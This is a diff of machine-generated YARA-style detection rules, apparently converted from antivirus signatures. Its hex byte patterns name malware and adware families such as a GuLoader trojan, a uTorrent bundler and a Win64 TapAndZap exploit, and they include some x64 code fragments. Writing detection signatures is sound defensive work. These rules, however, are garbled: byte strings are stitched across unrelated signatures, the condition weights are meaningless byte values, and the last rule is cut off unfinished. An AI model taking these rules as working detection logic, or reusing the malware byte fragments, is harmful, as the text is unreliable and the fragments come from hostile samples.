54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 45 21 4d 54 42 00 01 00 1d 81 01 5c 53 65 6e 64 65 62 } //29761 + $a_74_5 = {31 37 38 5c 42 6c 61 73 74 6f 6d 79 63 6f 74 69 63 01 00 1c 81 01 5c 75 64 73 6e 69 6e 67 65 6e 73 5c 75 6e 69 6c 61 74 65 72 61 6c 65 72 2e 6a 70 67 01 00 26 81 01 5c 66 6f 72 74 72 6e 67 6e 69 6e 67 73 6d 65 6b 61 6e 69 73 6d 65 72 6e 65 5c 54 6f 6d 61 73 74 65 64 65 32 30 30 01 00 14 81 01 52 65 66 } //25717 + $a_73_6 = {72 69 6b 6b 65 72 32 30 2e 63 65 6e 01 00 0f 81 01 63 6f 6e 76 65 72 73 69 62 6c 65 2e 6a 70 67 01 00 14 81 01 68 6a 65 72 74 65 66 72 65 6b 76 65 6e 73 65 6e 2e 6c 61 72 01 00 0b 81 01 73 65 65 64 69 65 72 2e 74 78 74 01 00 0e 81 01 5c 43 6f 62 65 6c 6c 69 67 65 72 65 6e 74 00 00 78 04 01 00 08 00 08 00 0a 00 21 23 41 } //25964 + $a_50_7 = {41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 75 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d 4b 00 01 00 0a 80 01 43 48 45 43 4b 4f 46 46 45 52 } //17996 + $a_80_8 = {43 52 45 41 54 45 4f 46 46 45 52 53 } //CREATEOFFERS 1 + $a_80_9 = {47 45 54 4f 46 46 45 52 53 41 52 52 41 59 } //GETOFFERSARRAY 1 + $a_80_10 = {47 45 54 4f 46 46 45 52 49 4e 44 45 58 42 59 50 41 47 45 } //GETOFFERINDEXBYPAGE 1 + $a_80_11 = {41 44 44 50 41 47 45 53 41 46 54 45 52 4f 46 46 45 52 53 } //ADDPAGESAFTEROFFERS 1 + $a_80_12 = {50 41 47 45 44 4f 57 4e 4c 4f 41 44 41 43 54 49 56 41 54 45 44 } //PAGEDOWNLOADACTIVATED 1 condition: - ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*29812+(#a_00_2 & 1)*24932+(#a_6f_3 & 1)*25970+(#a_72_4 & 1)*29761+(#a_00_5 & 1)*75+(#a_48_6 & 1)*384+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*-100+(#a_80_12 & 1)*-100) >=7 + ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*29812+(#a_00_2 & 1)*24932+(#a_6f_3 & 1)*25970+(#a_72_4 & 1)*29761+(#a_74_5 & 1)*25717+(#a_73_6 & 1)*25964+(#a_50_7 & 1)*17996+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1) >=7 } -rule _InfrastructureShared_16277{ +rule _InfrastructureShared_17347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 54 52 41 48 31 21 4d 54 42 00 01 00 26 81 01 53 79 73 53 68 6f 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 17 81 01 53 79 73 } //18467 $a_70_1 = {46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 81 01 44 65 62 75 67 67 65 72 42 72 6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 1c 81 01 44 65 62 75 67 67 65 72 4e 6f 6e 55 73 65 72 43 6f 64 65 41 74 74 72 69 62 75 74 65 01 00 17 81 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 11 81 } //26707 - $a_74_2 = {43 75 72 72 65 6e 74 54 68 72 65 61 64 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 81 01 47 65 74 54 79 70 65 00 00 78 04 01 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 75 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 } //26369 - $a_00_3 = {01 00 0a 80 01 43 48 45 43 4b 4f 46 46 45 52 01 00 0c 80 01 43 52 45 41 54 45 4f 46 46 45 52 53 01 00 0e 80 01 47 45 54 4f 46 46 45 52 53 41 52 52 41 59 01 00 13 80 01 47 45 54 4f 46 46 45 52 49 4e 44 45 58 42 59 50 41 47 45 } //19758 - $a_80_4 = {41 44 44 50 41 47 45 53 41 46 54 45 52 4f 46 46 45 52 53 } //ADDPAGESAFTEROFFERS 1 - $a_80_5 = {50 41 47 45 44 4f 57 4e 4c 4f 41 44 41 43 54 49 56 41 54 45 44 } //PAGEDOWNLOADACTIVATED 1 - $a_80_6 = {75 54 6f 72 72 65 6e 74 43 6c 61 73 73 69 63 } //uTorrentClassic 1 - $a_80_7 = {75 54 6f 72 72 65 6e 74 43 6c 61 73 73 69 63 5f 5a 42 } //uTorrentClassic_ZB 1 + $a_74_2 = {43 75 72 72 65 6e 74 54 68 72 65 61 64 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 81 01 47 65 74 54 79 70 65 00 00 78 04 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 45 21 4d 54 42 00 01 00 1d 81 01 5c 53 65 6e 64 } //26369 + $a_64_3 = {74 73 31 37 38 5c 42 6c 61 73 74 6f 6d 79 63 6f 74 69 63 01 00 1c 81 01 5c 75 64 73 6e 69 6e 67 65 6e 73 5c 75 6e 69 6c 61 74 65 72 61 6c 65 72 2e 6a 70 67 01 00 26 81 01 5c 66 6f 72 74 72 6e 67 6e 69 6e 67 73 6d 65 6b 61 6e 69 73 6d 65 72 6e 65 5c 54 6f 6d 61 73 74 65 64 65 32 30 30 01 00 14 81 01 52 65 66 6c 65 6b 73 62 72 69 6b 6b 65 72 32 30 2e } //25189 + $a_01_4 = {00 0f 81 01 63 6f 6e 76 65 72 73 69 62 6c 65 2e 6a 70 67 01 00 14 81 01 68 6a 65 72 74 65 66 72 65 6b 76 65 6e 73 65 6e 2e 6c 61 72 01 00 0b 81 01 73 65 65 64 69 65 72 2e 74 78 74 01 00 0e 81 01 5c 43 6f 62 65 6c 6c 69 67 65 72 65 6e 74 00 00 78 04 01 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 } //25955 + $a_2f_5 = {54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d 4b 00 01 00 0a 80 01 43 48 45 43 4b 4f 46 46 45 52 01 00 0c 80 01 43 52 45 } //13166 + $a_4f_6 = {46 45 52 53 01 00 0e 80 01 47 45 54 4f 46 46 45 52 53 41 52 52 41 59 01 00 13 80 01 47 45 54 4f 46 46 45 52 49 4e 44 45 58 42 59 50 41 47 45 01 00 13 80 01 41 44 44 50 41 47 45 53 41 46 54 45 52 4f 46 46 45 } //21569 + $a_00_7 = {15 } //21330 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26707+(#a_74_2 & 1)*26369+(#a_00_3 & 1)*19758+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=8 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26707+(#a_74_2 & 1)*26369+(#a_64_3 & 1)*25189+(#a_01_4 & 1)*25955+(#a_2f_5 & 1)*13166+(#a_4f_6 & 1)*21569+(#a_00_7 & 1)*21330) >=8 } -rule _InfrastructureShared_16278{ +rule _InfrastructureShared_17348{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 45 21 4d 54 42 00 01 00 1d 81 01 5c 53 65 6e 64 65 62 75 64 65 74 73 31 37 38 5c 42 6c 61 73 74 6f 6d 79 63 6f 74 69 63 01 00 1c 81 01 5c 75 64 73 6e 69 6e 67 65 6e 73 5c 75 } //18467 + $a_61_1 = {65 72 61 6c 65 72 2e 6a 70 67 01 00 26 81 01 5c 66 6f 72 74 72 6e 67 6e 69 6e 67 73 6d 65 6b 61 6e 69 73 6d 65 72 6e 65 5c 54 6f 6d 61 73 74 65 64 65 32 30 30 01 00 14 81 01 52 65 66 6c 65 6b 73 62 72 69 6b 6b 65 72 32 30 2e 63 65 6e 01 00 0f 81 01 63 6f 6e 76 65 72 73 69 62 6c 65 2e 6a 70 67 01 00 14 81 01 68 6a 65 72 74 } //26990 + $a_65_2 = {76 65 6e 73 65 6e 2e 6c 61 72 01 00 0b 81 01 73 65 65 64 69 65 72 2e 74 78 74 01 00 0e 81 01 5c 43 6f 62 65 6c 6c 69 67 65 72 65 6e 74 00 00 78 04 01 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 75 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d 4b 00 01 00 0a 80 01 43 } //26213 + $a_4b_3 = {46 46 45 52 01 00 0c 80 01 43 52 45 41 54 45 4f 46 46 45 52 53 01 00 0e 80 01 47 45 54 4f 46 46 45 52 53 41 52 52 41 59 01 00 13 80 01 47 45 54 4f 46 46 45 52 49 4e 44 45 58 42 59 50 41 47 45 01 00 13 } //17736 + $a_44_4 = {50 41 47 45 53 41 46 54 45 52 4f 46 46 45 52 53 01 00 15 80 01 50 41 47 45 44 4f 57 4e 4c 4f 41 44 41 43 54 49 56 41 54 45 44 01 00 0f 80 01 75 54 6f 72 72 65 6e 74 43 6c 61 73 73 69 63 01 00 12 } //384 + $a_54_5 = {72 72 65 6e 74 43 6c 61 73 73 69 63 5f 5a 42 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 04 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 30 36 31 30 21 4d 54 42 00 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 13 01 46 72 6f } //384 + $a_73_6 = {36 34 43 68 61 72 41 72 72 61 79 01 00 0b 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 07 01 47 65 74 43 68 61 72 01 00 13 01 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 04 01 43 68 72 57 01 00 0d 01 50 55 42 47 20 4c 61 75 6e 63 68 65 72 01 00 28 01 4d 75 6c 74 69 46 6f 72 } //17005 + $a_72_7 = {70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 24 42 31 32 31 43 30 33 34 2d 41 34 37 37 2d 34 45 46 46 2d 38 46 39 32 2d 44 39 41 39 38 30 46 39 37 44 42 31 01 00 10 01 50 55 42 47 20 43 4f 52 } //11885 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26990+(#a_65_2 & 1)*26213+(#a_4b_3 & 1)*17736+(#a_44_4 & 1)*384+(#a_54_5 & 1)*384+(#a_73_6 & 1)*17005+(#a_72_7 & 1)*11885) >=8 + +} +rule _InfrastructureShared_17349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -191109,7 +203910,7 @@ rule _InfrastructureShared_16278{ ((#a_46_0 & 1)*16675+(#a_45_2 & 1)*384+(#a_41_3 & 1)*19534+(#a_65_4 & 1)*27756+(#a_43_5 & 1)*3584+(#a_49_6 & 1)*29793+(#a_00_7 & 1)*29285+(#a_6c_8 & 1)*19713+(#a_61_9 & 1)*28530) >=8 } -rule _InfrastructureShared_16279{ +rule _InfrastructureShared_17350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -191127,7 +203928,7 @@ rule _InfrastructureShared_16279{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*1792+(#a_72_2 & 1)*26691+(#a_43_3 & 1)*12849+(#a_00_5 & 1)*1+(#a_6a_6 & 1)*29268+(#a_01_7 & 1)*2048+(#a_00_8 & 1)*1+(#a_6e_9 & 1)*27247) >=10 } -rule _InfrastructureShared_16280{ +rule _InfrastructureShared_17351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -191145,7 +203946,7 @@ rule _InfrastructureShared_16280{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*19783+(#a_74_2 & 1)*25926+(#a_6d_3 & 1)*18208+(#a_65_4 & 1)*361+(#a_4c_5 & 1)*8993+(#a_00_7 & 1)*49+(#a_00_8 & 1)*37+(#a_18_9 & 1)*31841) >=11 } -rule _InfrastructureShared_16281{ +rule _InfrastructureShared_17352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -191157,7 +203958,7 @@ rule _InfrastructureShared_16281{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28499+(#a_6c_2 & 1)*30789) >=12 } -rule _InfrastructureShared_16282{ +rule _InfrastructureShared_17353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0c 00 04 00 21 " @@ -191169,7 +203970,7 @@ rule _InfrastructureShared_16282{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_8b_3 & 1)*22667) >=12 } -rule _InfrastructureShared_16283{ +rule _InfrastructureShared_17354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -191184,7 +203985,7 @@ rule _InfrastructureShared_16283{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*14646+(#a_00_2 & 1)*108+(#a_64_3 & 1)*26967+(#a_73_4 & 1)*27715+(#a_6f_5 & 1)*25938) >=24 } -rule _InfrastructureShared_16284{ +rule _InfrastructureShared_17355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 0b 00 21 " @@ -191202,7 +204003,7 @@ rule _InfrastructureShared_16284{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29761+(#a_43_2 & 1)*-32500+(#a_53_3 & 1)*29808+(#a_00_5 & 1)*110+(#a_00_7 & 1)*115+(#a_48_8 & 1)*656+(#a_10_9 & 1)*-28670+(#a_00_10 & 1)*-28636) >=30 } -rule _InfrastructureShared_16285{ +rule _InfrastructureShared_17356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -191214,7 +204015,7 @@ rule _InfrastructureShared_16285{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_00_2 & 1)*103) >=300 } -rule _InfrastructureShared_16286{ +rule _InfrastructureShared_17357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -191224,7 +204025,7 @@ rule _InfrastructureShared_16286{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16287{ +rule _InfrastructureShared_17358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -191234,7 +204035,7 @@ rule _InfrastructureShared_16287{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_16288{ +rule _InfrastructureShared_17359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -191248,7 +204049,7 @@ rule _InfrastructureShared_16288{ ((#a_6b_0 & 1)*17955+(#a_6d_1 & 1)*20452+(#a_b9_2 & 1)*-23242+(#a_3c_3 & 1)*-5241+(#a_69_4 & 1)*8192) >=1 } -rule _InfrastructureShared_16289{ +rule _InfrastructureShared_17360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -191261,7 +204062,7 @@ rule _InfrastructureShared_16289{ ((#a_6b_0 & 1)*17955+(#a_55_1 & 1)*6480+(#a_7e_2 & 1)*1041+(#a_eb_3 & 1)*-12918) >=1 } -rule _InfrastructureShared_16290{ +rule _InfrastructureShared_17361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -191275,7 +204076,7 @@ rule _InfrastructureShared_16290{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*102+(#a_00_4 & 1)*110+(#a_69_5 & 1)*1796+(#a_09_6 & 1)*6673) >=1 } -rule _InfrastructureShared_16291{ +rule _InfrastructureShared_17362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -191287,7 +204088,7 @@ rule _InfrastructureShared_16291{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*4870+(#a_13_2 & 1)*5892) >=2 } -rule _InfrastructureShared_16292{ +rule _InfrastructureShared_17363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191299,7 +204100,7 @@ rule _InfrastructureShared_16292{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-23804+(#a_90_2 & 1)*-29948) >=3 } -rule _InfrastructureShared_16293{ +rule _InfrastructureShared_17364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191311,7 +204112,7 @@ rule _InfrastructureShared_16293{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_00_2 & 1)*108) >=3 } -rule _InfrastructureShared_16294{ +rule _InfrastructureShared_17365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191322,7 +204123,7 @@ rule _InfrastructureShared_16294{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*92) >=3 } -rule _InfrastructureShared_16295{ +rule _InfrastructureShared_17366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191334,7 +204135,7 @@ rule _InfrastructureShared_16295{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4360+(#a_11_2 & 1)*4952) >=3 } -rule _InfrastructureShared_16296{ +rule _InfrastructureShared_17367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191344,7 +204145,7 @@ rule _InfrastructureShared_16296{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_16297{ +rule _InfrastructureShared_17368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191355,7 +204156,7 @@ rule _InfrastructureShared_16297{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-24832) >=3 } -rule _InfrastructureShared_16298{ +rule _InfrastructureShared_17369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -191368,7 +204169,7 @@ rule _InfrastructureShared_16298{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*52+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_16299{ +rule _InfrastructureShared_17370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -191381,13 +204182,13 @@ rule _InfrastructureShared_16299{ $a_00_5 = {5c 00 33 00 36 00 30 00 47 00 50 00 55 00 42 00 4e 00 65 00 77 00 5c 00 64 00 65 00 76 00 5c 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 5c 00 49 00 6e 00 74 00 65 00 72 00 66 00 61 00 63 00 65 00 5c 00 51 00 48 00 54 00 4c 00 2e 00 68 00 01 00 12 01 51 75 69 63 6b 49 6e 73 74 50 72 6f 78 79 } //117 $a_62_6 = {00 1a 01 5c 00 51 00 48 00 49 00 6d 00 61 00 67 00 65 00 48 00 6c 00 70 00 2e 00 63 00 00 00 78 05 01 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 50 6f 77 65 72 42 49 00 01 00 44 01 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 } //28718 $a_00_7 = {20 00 43 00 6f 00 72 00 70 00 6f 00 72 00 61 00 74 00 69 00 6f 00 6e 00 01 00 3c 01 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 50 00 6f 00 77 00 65 00 72 00 42 00 49 00 01 00 44 01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 } //102 - $a_00_8 = {6e 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 50 00 6f 00 77 00 65 00 72 00 42 00 49 00 01 00 1a 01 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e 67 20 50 43 41 00 00 78 05 01 00 04 00 04 00 05 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 68 65 73 73 69 6c 61 2e } //105 - $a_68_9 = {00 01 00 41 81 01 46 61 69 6c 65 64 20 74 6f 20 61 6c 6c 6f 63 61 74 65 20 6d 65 6d 6f 72 79 20 61 74 20 61 64 64 72 65 73 73 20 30 78 66 66 66 66 66 66 66 66 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 01 00 29 81 01 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 53 79 6e 63 } //8513 + $a_00_8 = {6e 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 50 00 6f 00 77 00 65 00 72 00 42 00 49 00 01 00 1a 01 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e 67 20 50 43 41 00 00 78 05 01 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 54 61 70 41 6e 64 5a 61 70 2e 41 00 01 00 1c 03 48 } //105 + $a_00_9 = {00 00 48 8b 48 70 e8 90 01 04 48 8b 8d f0 00 00 00 48 89 41 70 90 00 01 00 28 03 c6 45 44 0f c6 45 45 05 c6 45 46 c3 c7 45 64 90 01 04 8b 45 64 48 8b 8d 80 01 00 00 48 03 c8 48 8b c1 48 89 45 28 90 00 01 00 21 03 8b 45 64 48 8b 8d 80 01 00 00 48 03 c8 48 8b c1 6b 8d 84 90 01 04 8b c9 48 2b c1 48 89 45 28 90 00 01 00 70 01 48 8b 85 70 01 00 00 48 89 44 24 50 48 8b 85 68 01 00 00 48 89 44 24 48 48 8b 85 60 01 00 00 48 89 44 24 40 48 8b 85 58 01 00 00 48 89 44 24 38 8b 85 50 01 00 00 89 44 24 30 48 8b 85 48 01 00 00 48 89 44 24 28 48 8b 85 40 01 00 00 48 89 44 24 20 4c 8b 8d 38 01 00 00 4c 8b 85 30 01 00 00 8b 95 28 01 00 00 48 8b 8d 20 01 00 00 ff 55 08 00 00 78 05 01 00 04 00 04 00 05 00 21 23 41 4c 46 3a 45 78 } //-31349 condition: - ((#a_5f_0 & 1)*25635+(#a_72_1 & 1)*9216+(#a_31_2 & 1)*12404+(#a_61_3 & 1)*1+(#a_42_4 & 1)*19745+(#a_00_5 & 1)*117+(#a_62_6 & 1)*28718+(#a_00_7 & 1)*102+(#a_00_8 & 1)*105+(#a_68_9 & 1)*8513) >=3 + ((#a_5f_0 & 1)*25635+(#a_72_1 & 1)*9216+(#a_31_2 & 1)*12404+(#a_61_3 & 1)*1+(#a_42_4 & 1)*19745+(#a_00_5 & 1)*117+(#a_62_6 & 1)*28718+(#a_00_7 & 1)*102+(#a_00_8 & 1)*105+(#a_00_9 & 1)*-31349) >=3 } -rule _InfrastructureShared_16300{ +rule _InfrastructureShared_17371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -191399,20 +204200,32 @@ rule _InfrastructureShared_16300{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_49_3 & 1)*25449) >=4 } -rule _InfrastructureShared_16301{ +rule _InfrastructureShared_17372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 50 6f 77 65 72 42 49 00 01 00 44 01 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 43 00 6f 00 72 00 70 00 6f 00 72 00 61 00 74 00 69 00 6f 00 6e 00 01 00 } //18467 $a_00_1 = {72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 50 00 6f 00 77 00 65 00 72 00 42 00 49 00 01 00 44 01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 } //316 - $a_00_2 = {74 00 69 00 6f 00 6e 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 50 00 6f 00 77 00 65 00 72 00 42 00 49 00 01 00 1a 01 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e 67 20 50 43 41 00 00 78 05 01 00 04 00 04 00 05 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 68 65 73 } //105 - $a_61_3 = {41 21 64 68 61 00 01 00 41 81 01 46 61 69 6c 65 64 20 74 6f 20 61 6c 6c 6f 63 61 74 65 20 6d 65 6d 6f 72 79 20 61 74 20 61 64 64 72 65 73 73 20 30 78 66 66 66 66 66 66 66 66 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 01 00 29 81 01 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 53 79 6e 63 68 72 6f } //26995 + $a_00_2 = {74 00 69 00 6f 00 6e 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 50 00 6f 00 77 00 65 00 72 00 42 00 49 00 01 00 1a 01 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e 67 20 50 43 41 00 00 78 05 01 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 54 61 70 41 6e 64 5a 61 70 2e 41 00 } //105 + $a_03_3 = {48 8b 85 f0 00 00 00 48 8b 48 70 e8 ?? ?? ?? ?? 48 8b 8d f0 00 00 00 48 89 41 70 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*316+(#a_00_2 & 1)*105+(#a_61_3 & 1)*26995) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*316+(#a_00_2 & 1)*105+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_16302{ +rule _InfrastructureShared_17373{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 54 61 70 41 6e 64 5a 61 70 2e 41 00 01 00 1c 03 48 8b 85 f0 00 00 00 48 8b 48 70 e8 90 01 04 48 8b 8d f0 00 00 00 48 89 41 70 90 00 01 00 28 03 c6 45 44 0f c6 45 45 05 c6 45 46 c3 c7 45 64 90 01 04 8b 45 64 48 } //21283 + $a_01_1 = {00 00 48 03 c8 48 8b c1 48 89 45 28 90 00 01 00 21 03 8b 45 64 48 8b 8d 80 01 00 00 48 03 c8 48 8b c1 6b 8d 84 90 01 04 8b c9 48 2b c1 48 89 45 28 90 00 01 00 70 01 48 8b 85 70 01 00 00 48 89 44 24 50 48 8b 85 68 01 00 00 48 89 44 24 48 48 8b 85 60 01 00 00 48 89 44 24 40 48 8b 85 58 01 00 00 48 89 44 24 38 8b 85 50 01 00 00 89 44 24 30 48 8b 85 48 01 00 00 48 89 44 24 28 48 8b 85 } //-29301 + $a_24_3 = {4c 8b 8d 38 01 00 00 4c 8b 85 30 01 00 00 8b 95 28 01 00 00 48 8b 8d 20 01 00 00 ff 55 08 00 00 78 05 01 00 04 00 04 00 05 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 68 65 73 73 69 } //-30392 + condition: + 